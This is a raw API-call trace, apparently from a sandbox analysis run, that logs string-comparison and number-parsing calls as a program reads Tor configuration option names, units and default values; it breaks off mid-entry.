_strcmpi (_Str1="PathBiasWarnRate", _Str2="LogMessageDomains") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="LogTimeGranularity") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="TruncateLogFile") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="SyslogIdentityTag") returned -1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="LongLivedPorts") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MapAddress") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxAdvertisedBandwidth") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxCircuitDirtiness") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxClientCircuitsPending") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxMemInQueues") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxOnionsPending") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MaxOnionQueueDelay") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MinMeasuredBWsForAuthToIgnoreAdvertised") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="MyFamily") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NewCircuitPeriod") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NamingAuthoritativeDirectory") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NATDListenAddress") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NATDPort") returned 1 [0115.243] _strcmpi (_Str1="PathBiasWarnRate", _Str2="Nickname") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="PredictedPortsRelevanceTime") returned -1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="WarnUnsafeSocks") returned -1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NodeFamily") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NumCPUs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NumDirectoryGuards") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="NumEntryGuards") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="OfflineMasterKey") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ORListenAddress") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="ORPort") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="OutboundBindAddress") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="PathBiasDisableRate") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="PathBiasCircThreshold") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="PathBiasNoticeRate") returned 1 [0115.244] _strcmpi (_Str1="PathBiasWarnRate", _Str2="PathBiasWarnRate") returned 0 [0115.244] atof (_String="-1") returned 0x9f07d0 [0115.244] strlen (_Str="PathBiasExtremeRate") returned 0x13 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AccountingMax") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AccountingRule") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AccountingStart") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="Address") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AllowDotExit") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AllowInvalidNodes") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AllowNonRFC953Hostnames") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AllowSingleHopCircuits") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AllowSingleHopExits") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AlternateBridgeAuthority") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AlternateDirAuthority") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AlternateHSAuthority") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AssumeReachable") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirBadDir") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirBadDirCCs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirBadExit") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirBadExitCCs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirInvalid") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirInvalidCCs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirFastGuarantee") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirGuardBWGuarantee") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirPinKeys") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirReject") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirRejectCCs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirRejectUnlisted") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirListBadDirs") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirListBadExits") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirMaxServersPerAddr") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirMaxServersPerAuthAddr") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthDirHasIPv6Connectivity") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AuthoritativeDirectory") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AutomapHostsOnResolve") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AutomapHostsSuffixes") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="AvoidDiskWrites") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BandwidthBurst") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BandwidthRate") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BridgeAuthoritativeDir") returned 1 [0115.244] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="Bridge") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BridgePassword") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BridgeRecordUsageByCountry") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="BridgeRelay") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="CellStatistics") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="LearnCircuitBuildTimeout") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="CircuitBuildTimeout") returned 1 [0115.245] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="CircuitIdleTimeout") returned 1 [0115.303] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="CircuitStreamTimeout") returned 1 [0115.303] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="CircuitPriorityHalflife") returned 1 [0115.303] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="ClientDNSRejectInternalAddresses") returned 1 [0115.303] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="ClientOnly") returned 1 [0115.303] _strcmpi (_Str1="PathBiasExtremeRate", _Str2="ClientPreferIPv6ORPort") returned 1 [0115.304] atof (_String="-1") returned 0x9f07d0 [0115.304] strlen (_Str="PathBiasScaleThreshold") returned 0x16 [0115.304] strtol (in: _Str="-1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned -1 [0115.304] _errno () returned 0x9f07d8 [0115.304] strlen (_Str="PathBiasDropGuards") returned 0x12 [0115.304] strcmp (_Str1="0", _Str2="auto") returned -1 [0115.304] strcmp (_Str1="0", _Str2="0") returned 0 [0115.304] strlen (_Str="PathBiasUseThreshold") returned 0x14 [0115.304] strtol (in: _Str="-1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned -1 [0115.304] _errno () returned 0x9f07d8 [0115.304] strlen (_Str="PathBiasNoticeUseRate") returned 0x15 [0115.304] atof (_String="-1") returned 0x9f07d0 [0115.304] strlen (_Str="PathBiasExtremeUseRate") returned 0x16 [0115.304] atof (_String="-1") returned 0x9f07d0 [0115.304] strlen (_Str="PathBiasScaleUseThreshold") returned 0x19 [0115.304] strtol (in: _Str="-1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned -1 [0115.304] _errno () returned 0x9f07d8 [0115.304] strlen (_Str="PathsNeededToBuildCircuits") returned 0x1a [0115.304] atof (_String="-1") returned 0x9f07d0 [0115.304] strlen (_Str="PerConnBWBurst") returned 0xe [0115.304] _errno () returned 0x9f07d8 [0115.304] _strcmpi (_Str1="", _Str2="") returned 0 [0115.304] strlen (_Str="PerConnBWRate") returned 0xd [0115.304] _errno () returned 0x9f07d8 [0115.304] _strcmpi (_Str1="", _Str2="") returned 0 [0115.304] strlen (_Str="TestingTorNetwork") returned 0x11 [0115.304] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.304] _errno () returned 0x9f07d8 [0115.305] strlen (_Str="TestingMinExitFlagThreshold") returned 0x1b [0115.305] _errno () returned 0x9f07d8 [0115.305] _strcmpi (_Str1="", _Str2="") returned 0 [0115.305] strlen (_Str="TestingMinFastFlagThreshold") returned 0x1b [0115.305] _errno () returned 0x9f07d8 [0115.305] _strcmpi (_Str1="", _Str2="") returned 0 [0115.305] strlen (_Str="TestingLinkCertLifetime") returned 0x17 [0115.305] _errno () returned 0x9f07d8 [0115.305] _strcmpi (_Str1="", _Str2="days") returned -1 [0115.305] _strcmpi (_Str1="second", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="seconds", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="minute", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="minutes", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="hour", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="hours", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="day", _Str2="days") returned -1 [0115.305] _strcmpi (_Str1="days", _Str2="days") returned 0 [0115.305] strlen (_Str="TestingAuthKeyLifetime") returned 0x16 [0115.305] _errno () returned 0x9f07d8 [0115.305] _strcmpi (_Str1="", _Str2="days") returned -1 [0115.305] _strcmpi (_Str1="second", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="seconds", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="minute", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="minutes", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="hour", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="hours", _Str2="days") returned 1 [0115.305] _strcmpi (_Str1="day", _Str2="days") returned -1 [0115.305] _strcmpi (_Str1="days", _Str2="days") returned 0 [0115.305] strlen (_Str="TestingLinkKeySlop") returned 0x12 [0115.305] _errno () returned 0x9f07d8 [0115.305] _strcmpi (_Str1="", _Str2="hours") returned -1 [0115.305] _strcmpi (_Str1="second", _Str2="hours") returned 1 [0115.305] _strcmpi (_Str1="seconds", _Str2="hours") returned 1 [0115.305] _strcmpi (_Str1="minute", _Str2="hours") returned 1 [0115.305] _strcmpi (_Str1="minutes", _Str2="hours") returned 1 [0115.305] _strcmpi (_Str1="hour", _Str2="hours") returned -1 [0115.305] _strcmpi (_Str1="hours", _Str2="hours") returned 0 [0115.306] strlen (_Str="TestingAuthKeySlop") returned 0x12 [0115.306] _errno () returned 0x9f07d8 [0115.306] _strcmpi (_Str1="", _Str2="hours") returned -1 [0115.306] _strcmpi (_Str1="second", _Str2="hours") returned 1 [0115.306] _strcmpi (_Str1="seconds", _Str2="hours") returned 1 [0115.306] _strcmpi (_Str1="minute", _Str2="hours") returned 1 [0115.306] _strcmpi (_Str1="minutes", _Str2="hours") returned 1 [0115.306] _strcmpi (_Str1="hour", _Str2="hours") returned -1 [0115.306] _strcmpi (_Str1="hours", _Str2="hours") returned 0 [0115.306] strlen (_Str="TestingSigningKeySlop") returned 0x15 [0115.306] _errno () returned 0x9f07d8 [0115.306] _strcmpi (_Str1="", _Str2="day") returned -1 [0115.306] _strcmpi (_Str1="second", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="seconds", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="minute", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="minutes", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="hour", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="hours", _Str2="day") returned 1 [0115.306] _strcmpi (_Str1="day", _Str2="day") returned 0 [0115.306] strlen (_Str="OptimisticData") returned 0xe [0115.306] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.306] strlen (_Str="PortForwarding") returned 0xe [0115.306] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.306] _errno () returned 0x9f07d8 [0115.306] strlen (_Str="PortForwardingHelper") returned 0x14 [0115.306] strlen (_Str="ProtocolWarnings") returned 0x10 [0115.306] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.306] _errno () returned 0x9f07d8 [0115.306] strlen (_Str="PublishServerDescriptor") returned 0x17 [0115.306] strlen (_Str="PublishHidServDescriptors") returned 0x19 [0115.306] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.306] _errno () returned 0x9f07d8 [0115.306] strlen (_Str="RefuseUnknownExits") returned 0x12 [0115.306] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.306] strlen (_Str="RejectPlaintextPorts") returned 0x14 [0115.306] strlen (_Str="RelayBandwidthBurst") returned 0x13 [0115.307] _errno () returned 0x9f07d8 [0115.307] _strcmpi (_Str1="", _Str2="") returned 0 [0115.307] strlen (_Str="RelayBandwidthRate") returned 0x12 [0115.307] _errno () returned 0x9f07d8 [0115.307] _strcmpi (_Str1="", _Str2="") returned 0 [0115.307] strlen (_Str="RendPostPeriod") returned 0xe [0115.307] _errno () returned 0x9f07d8 [0115.307] _strcmpi (_Str1="", _Str2="hour") returned -1 [0115.307] _strcmpi (_Str1="second", _Str2="hour") returned 1 [0115.307] _strcmpi (_Str1="seconds", _Str2="hour") returned 1 [0115.307] _strcmpi (_Str1="minute", _Str2="hour") returned 1 [0115.307] _strcmpi (_Str1="minutes", _Str2="hour") returned 1 [0115.307] _strcmpi (_Str1="hour", _Str2="hour") returned 0 [0115.307] strlen (_Str="RephistTrackTime") returned 0x10 [0115.307] _errno () returned 0x9f07d8 [0115.307] _strcmpi (_Str1="", _Str2="hours") returned -1 [0115.307] _strcmpi (_Str1="second", _Str2="hours") returned 1 [0115.307] _strcmpi (_Str1="seconds", _Str2="hours") returned 1 [0115.307] _strcmpi (_Str1="minute", _Str2="hours") returned 1 [0115.307] _strcmpi (_Str1="minutes", _Str2="hours") returned 1 [0115.307] _strcmpi (_Str1="hour", _Str2="hours") returned -1 [0115.307] _strcmpi (_Str1="hours", _Str2="hours") returned 0 [0115.307] strlen (_Str="RunAsDaemon") returned 0xb [0115.307] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.307] _errno () returned 0x9f07d8 [0115.307] strlen (_Str="Sandbox") returned 0x7 [0115.307] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="SafeLogging") returned 0xb [0115.308] strlen (_Str="SafeSocks") returned 0x9 [0115.308] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSAllowBrokenConfig") returned 0x1a [0115.308] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSAllowNonRFC953Hostnames") returned 0x20 [0115.308] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSDetectHijacking") returned 0x18 [0115.308] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSRandomizeCase") returned 0x16 [0115.308] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSSearchDomains") returned 0x16 [0115.308] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.308] _errno () returned 0x9f07d8 [0115.308] strlen (_Str="ServerDNSTestAddresses") returned 0x16 [0115.308] strlen (_Str=",") returned 0x1 [0115.308] strlen (_Str=",") returned 0x1 [0115.308] strlen (_Str=",") returned 0x1 [0115.308] strlen (_Str="SchedulerLowWaterMark__") returned 0x17 [0115.308] _errno () returned 0x9f07d8 [0115.308] _strcmpi (_Str1="", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="b", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="byte", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="bytes", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="kb", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="kbyte", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="kbytes", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="kilobyte", _Str2="MB") returned -1 [0115.308] _strcmpi (_Str1="kilobytes", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobits", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobit", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbits", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbit", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="m", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="mb", _Str2="MB") returned 0 [0115.309] strlen (_Str="SchedulerHighWaterMark__") returned 0x18 [0115.309] _errno () returned 0x9f07d8 [0115.309] _strcmpi (_Str1="", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="b", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="byte", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="bytes", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kb", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbyte", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbytes", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobyte", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobytes", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobits", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kilobit", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbits", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="kbit", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="m", _Str2="MB") returned -1 [0115.309] _strcmpi (_Str1="mb", _Str2="MB") returned 0 [0115.309] strlen (_Str="SchedulerMaxFlushCells__") returned 0x18 [0115.309] strtol (in: _Str="1000", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1000 [0115.309] _errno () returned 0x9f07d8 [0115.309] strlen (_Str="ShutdownWaitLength") returned 0x12 [0115.309] _errno () returned 0x9f07d8 [0115.309] _strcmpi (_Str1="", _Str2="seconds") returned -1 [0115.309] _strcmpi (_Str1="second", _Str2="seconds") returned -1 [0115.309] _strcmpi (_Str1="seconds", _Str2="seconds") returned 0 [0115.309] strlen (_Str="SocksTimeout") returned 0xc [0115.309] _errno () returned 0x9f07d8 [0115.309] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.309] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.309] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.309] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.309] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.309] strlen (_Str="SSLKeyLifetime") returned 0xe [0115.309] _errno () returned 0x9f07d8 [0115.310] _strcmpi (_Str1="", _Str2="") returned 0 [0115.310] strlen (_Str="StrictNodes") returned 0xb [0115.310] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="TestSocks") returned 0x9 [0115.310] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="TokenBucketRefillInterval") returned 0x19 [0115.310] _errno () returned 0x9f07d8 [0115.310] _strcmpi (_Str1="", _Str2="msec") returned -1 [0115.310] _strcmpi (_Str1="msec", _Str2="msec") returned 0 [0115.310] strlen (_Str="Tor2webMode") returned 0xb [0115.310] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="TrackHostExitsExpire") returned 0x14 [0115.310] _errno () returned 0x9f07d8 [0115.310] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.310] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.310] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.310] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.310] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.310] strlen (_Str="TransProxyType") returned 0xe [0115.310] strlen (_Str="UpdateBridgesFromAuthority") returned 0x1a [0115.310] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="UseBridges") returned 0xa [0115.310] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="UseEntryGuards") returned 0xe [0115.310] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.310] _errno () returned 0x9f07d8 [0115.310] strlen (_Str="UseEntryGuardsAsDirGuards") returned 0x19 [0115.310] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.310] _errno () returned 0x9f07d8 [0115.311] strlen (_Str="UseGuardFraction") returned 0x10 [0115.311] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.311] strlen (_Str="UseMicrodescriptors") returned 0x13 [0115.311] strcmp (_Str1="auto", _Str2="auto") returned 0 [0115.311] strlen (_Str="UseNTorHandshake") returned 0x10 [0115.311] strcmp (_Str1="1", _Str2="auto") returned -1 [0115.311] strcmp (_Str1="1", _Str2="0") returned 1 [0115.311] strcmp (_Str1="1", _Str2="1") returned 0 [0115.311] strlen (_Str="UserspaceIOCPBuffers") returned 0x14 [0115.311] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.311] _errno () returned 0x9f07d8 [0115.311] strlen (_Str="V3AuthoritativeDirectory") returned 0x18 [0115.311] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.311] _errno () returned 0x9f07d8 [0115.311] strlen (_Str="TestingV3AuthInitialVotingInterval") returned 0x22 [0115.311] _errno () returned 0x9f07d8 [0115.311] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.311] strlen (_Str="TestingV3AuthInitialVoteDelay") returned 0x1d [0115.311] _errno () returned 0x9f07d8 [0115.311] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.311] strlen (_Str="TestingV3AuthInitialDistDelay") returned 0x1d [0115.311] _errno () returned 0x9f07d8 [0115.311] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.311] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.311] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.312] strlen (_Str="TestingV3AuthVotingStartOffset") returned 0x1e [0115.312] _errno () returned 0x9f07d8 [0115.312] _strcmpi (_Str1="", _Str2="") returned 0 [0115.312] strlen (_Str="V3AuthVotingInterval") returned 0x14 [0115.312] _errno () returned 0x9f07d8 [0115.312] _strcmpi (_Str1="", _Str2="hour") returned -1 [0115.312] _strcmpi (_Str1="second", _Str2="hour") returned 1 [0115.312] _strcmpi (_Str1="seconds", _Str2="hour") returned 1 [0115.312] _strcmpi (_Str1="minute", _Str2="hour") returned 1 [0115.312] _strcmpi (_Str1="minutes", _Str2="hour") returned 1 [0115.312] _strcmpi (_Str1="hour", _Str2="hour") returned 0 [0115.312] strlen (_Str="V3AuthVoteDelay") returned 0xf [0115.312] _errno () returned 0x9f07d8 [0115.312] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.312] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.312] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.312] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.312] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.312] strlen (_Str="V3AuthDistDelay") returned 0xf [0115.312] _errno () returned 0x9f07d8 [0115.312] _strcmpi (_Str1="", _Str2="minutes") returned -1 [0115.312] _strcmpi (_Str1="second", _Str2="minutes") returned 1 [0115.312] _strcmpi (_Str1="seconds", _Str2="minutes") returned 1 [0115.312] _strcmpi (_Str1="minute", _Str2="minutes") returned -1 [0115.312] _strcmpi (_Str1="minutes", _Str2="minutes") returned 0 [0115.312] strlen (_Str="V3AuthNIntervalsValid") returned 0x15 [0115.312] strtol (in: _Str="3", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 3 [0115.312] _errno () returned 0x9f07d8 [0115.312] strlen (_Str="V3AuthUseLegacyKey") returned 0x12 [0115.312] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.312] _errno () returned 0x9f07d8 [0115.312] strlen (_Str="VersioningAuthoritativeDirectory") returned 0x20 [0115.312] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.312] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="VirtualAddrNetworkIPv4") returned 0x16 [0115.313] strlen (_Str="VirtualAddrNetworkIPv6") returned 0x16 [0115.313] strlen (_Str="WarnPlaintextPorts") returned 0x12 [0115.313] strlen (_Str=",") returned 0x1 [0115.313] strlen (_Str=",") returned 0x1 [0115.313] strlen (_Str=",") returned 0x1 [0115.313] strlen (_Str="UseFilteringSSLBufferevents") returned 0x1b [0115.313] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 0 [0115.313] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="__ReloadTorrcOnSIGHUP") returned 0x15 [0115.313] strtol (in: _Str="1", _EndPtr=0x36f494, _Radix=10 | out: _EndPtr=0x36f494*="") returned 1 [0115.313] _errno () returned 0x9f07d8 [0115.313] strlen (_Str="__AllDirActionsPrivate") returned 0x16 [0115.313] strtol (in: _Str="0", _EndPtr=0x36f494, _Radix=10 | out: 